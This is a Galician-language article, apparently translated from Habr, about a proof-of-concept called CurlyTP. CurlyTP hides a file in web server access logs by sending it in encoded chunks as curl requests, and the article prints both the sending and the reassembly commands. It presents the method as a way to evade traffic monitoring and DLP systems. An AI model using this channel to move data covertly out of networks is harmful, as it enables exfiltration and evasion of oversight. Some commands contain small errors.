Intercambio de mensaxes secretas a través dos rexistros do servidor

Segundo a definición da Wikipedia, unha gota morta é unha ferramenta de conspiración que serve para intercambiar información ou algúns elementos entre persoas que utilizan unha localización secreta. A idea é que a xente nunca se reúna, pero aínda así intercambia información para manter a seguridade operativa.

O agocho non debe chamar a atención. Por iso, no mundo offline adoitan usar cousas discretas: un ladrillo solto na parede, un libro da biblioteca ou un oco nunha árbore.

Existen moitas ferramentas de cifrado e anonimización en Internet, pero chama a atención o feito de usar estas ferramentas. Ademais, poden ser bloqueados a nivel corporativo ou de goberno. Que facer?

O programador Ryan Flowers propuxo unha opción interesante: utilizar calquera servidor web como agocho. Se o pensas, que fai un servidor web? Recibe solicitudes, emite ficheiros e escribe rexistros. E rexistra todas as solicitudes, incluso incorrectos!

Resulta que calquera servidor web permítelle gardar case calquera mensaxe no rexistro. Flowers preguntouse como usalo.

Ofrece esta opción:

  1. Colle un ficheiro de texto (mensaxe secreta) e calcula o hash (md5sum).
  2. Codificámolo (gzip+uuencode).
  3. Escribimos no rexistro usando unha solicitude deliberadamente incorrecta ao servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Para ler un ficheiro, cómpre realizar estas operacións en orde inversa: decodificar e descomprimir o ficheiro, comprobar o hash (o hash pódese transmitir con seguridade por canles abertas).

Os espazos son substituídos por =+=para que non haxa espazos no enderezo. O programa, que o autor chama CurlyTP, usa codificación base64, como anexos de correo electrónico. A solicitude realízase cunha palabra clave ?transfer?para que o destinatario poida atopalo facilmente nos rexistros.

Que vemos nos rexistros neste caso?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Como xa se mencionou, para recibir unha mensaxe secreta cómpre realizar as operacións en orde inversa:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

O proceso é fácil de automatizar. Md5sum coincide e o contido do ficheiro confirma que todo foi decodificado correctamente.

O método é moi sinxelo. "O obxectivo deste exercicio é só demostrar que os ficheiros poden transferirse mediante pequenas solicitudes web inocentes e que funciona en calquera servidor web con rexistros de texto simple. Esencialmente, cada servidor web é un agocho!", escribe Flowers.

Por suposto, o método só funciona se o destinatario ten acceso aos rexistros do servidor. Pero tal acceso é proporcionado, por exemplo, por moitos hosters.

Como usalo?

Ryan Flowers di que non é un experto en seguridade da información e que non compilará unha lista de posibles usos para CurlyTP. Para el, é só unha proba de concepto de que as ferramentas coñecidas que vemos todos os días poden usarse dun xeito pouco convencional.

De feito, este método ten unha serie de vantaxes sobre outros "ocultos" de servidor como Dead Drop dixital ou PirateBox: non require unha configuración especial no lado do servidor nin ningún protocolo especial, e non espertará sospeitas entre os que supervisan o tráfico. É pouco probable que un sistema SORM ou DLP escanee os URL para buscar ficheiros de texto comprimidos.

Esta é unha das formas de transmitir mensaxes a través de ficheiros de servizo. Podes lembrar como adoitaban colocar algunhas empresas avanzadas Traballos de programador en cabeceiras HTTP ou no código das páxinas HTML.

Intercambio de mensaxes secretas a través dos rexistros do servidor

A idea era que só os desenvolvedores web verían este ovo de Pascua, xa que unha persoa normal non miraría as cabeceiras nin o código HTML.

Intercambio de mensaxes secretas a través dos rexistros do servidor

Fonte: www.habr.com

Engadir un comentario